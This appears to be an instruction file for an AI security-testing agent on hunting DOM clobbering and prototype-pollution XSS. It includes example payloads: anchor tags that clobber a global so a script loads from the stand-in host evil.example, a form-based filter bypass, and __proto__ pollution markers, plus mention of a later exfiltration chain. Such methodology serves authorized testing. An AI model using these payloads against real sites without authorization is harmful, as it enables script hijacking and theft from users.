Hunt: XSS - DOM clobbering expert (microskill)
Clobbering expert of the xss split: XSS is impossible directly, but controlled HTML reaches the page and the app's JavaScript trusts DOM globals. Two primitives: clobber a global/object reference with a DOM collection (id/name anchors), or clobber a DOM property (form+input) so a client-side filter enumerates the wrong object. Prototype pollution joins when a pollutable merge path feeds a gadget.
Wiki
Hub: [[wiki/techniques/web/xss]] - [[prototype-pollution]]. qmd on hint only: "dom clobbering gadget id name anchor form input prototype pollution merge script src hijack".
Paths (binding - shared with the mapper run)
RUN=$ENG_DIR/hunt/xss/<host> # SHARED with hunt-xss
Experts write probes/xss-clobber*.jsonl into the mapper's $RUN tree.
Step 1 - Clobber-surface inventory (JS corpus, read-first)
Full-read the corpus (never grep-mine); find:
window.X = window.X || {} # the canonical clobberable pattern
document.X / globalThis.X reads after an injection point
filters that enumerate element.attributes
el.attributes.length loops
untrusted-object deref chains (a.b.c built from DOM lookups)
Record each @ $RUN/raw/clobber-surface.md rows pattern | file:line | reachability.
Step 2 - Clobber primitives
Global overwrite via DOM collection (two same-id anchors; name clobbers the property):
<a id=someObject><a id=someObject name=url href=//evil.example/p.js>
Fires when app code later does:
let o = window.someObject || {};
script.src = o.url; // attacker-controlled
Filter bypass via attributes clobbering (filter loops the input element, never sees the handler):
<form id=attributes>Click me
Step 3 - Prototype-pollution gadget join
- Pollutable paths: merge/set/deep-copy utils (
Object.assignchains, lodash-style merge, query-string-to-object parsers) probed with__proto__[x]=ymarkers (constructor['prototype'] variant when__proto__is filtered). - Gadgets joined (from corpus reads):
script.srchijack via polluted config, sanitizer ALLOWED_* pollution,defaultProps/ callback pollution in React-legacy code. - clobberidious-style scanner may run on the VM against the corpus; tool output is a LOCATOR, the flow proof is a manual file:line chain.
Step 4 - Validation + exit
- Execution or filter-defeat captured live (
alert(window.origin)or the filtered handler firing); console + screenshot into targets//poc/. - Rows appended to $RUN/candidates.jsonl (class=clobber); pointer
XSS-CLOBBER-DONE patterns=<n> gadgets=<n> fired=<n>appended to $ENG_DIR/hunt-xss-.md; Deadends per exhausted pattern.
Blocked implies research: before any Deadend is claimable on a held
row, (a) walk the shared arsenal (hunt-xss/references/waf-bypass.md)
rows for that control class, and (b) run one wiki query AND one
mcp__wigolo__search for DOM clobbering gadget <observed deref chain>. Results, or a genuine null, land in coverage-depth.md. "No
research tried" is not a claimable state.
Depth walk (mandatory)
Walk EVERY applicable row: the clobber-primitive and pollution-gadget rows from the JS corpus join. Record each
row in $RUN/coverage-depth.md as a table | row | state | evidence |
where state is probed, blocked, or N/A, and evidence is a probe
path or a Deadends.md line. A bare probed with no evidence reference
fails the completion gate.
Validation
Proof = the clobbered property observed in the live DOM feeding the sink (a probe pair + screenshot into poc/), not a payload that merely parses.
False Positives
- Property clobbered but never READ by page code (dead sink).
- Library-internal globals mistaken for page-consumed ones.
Cross-routing
- hunt-xss (mapper) owns the reflection map; hunt-xss-dom for sink walks; hunt-xss-mxss when a sanitizer round trip is the real vector.
Attack surface
APPROACH: Inventory window.x globals consumed by the page's own scripts from the JS corpus first; join clobberable property paths (a.b.c reachable via id/name) with prototype-pollution gadgets; validate with a benign marker before any exfil chain.
AVOID: A clobbered property alone is not XSS - sink execution (script src hijack, redirect, eval of clobbered config) must be demonstrated in the DOM.
Stop conditions
Every clobberable pattern terminal (fired | unreachable | deadend row); no grep-only claims (file:line chain required); nothing written into skill dirs.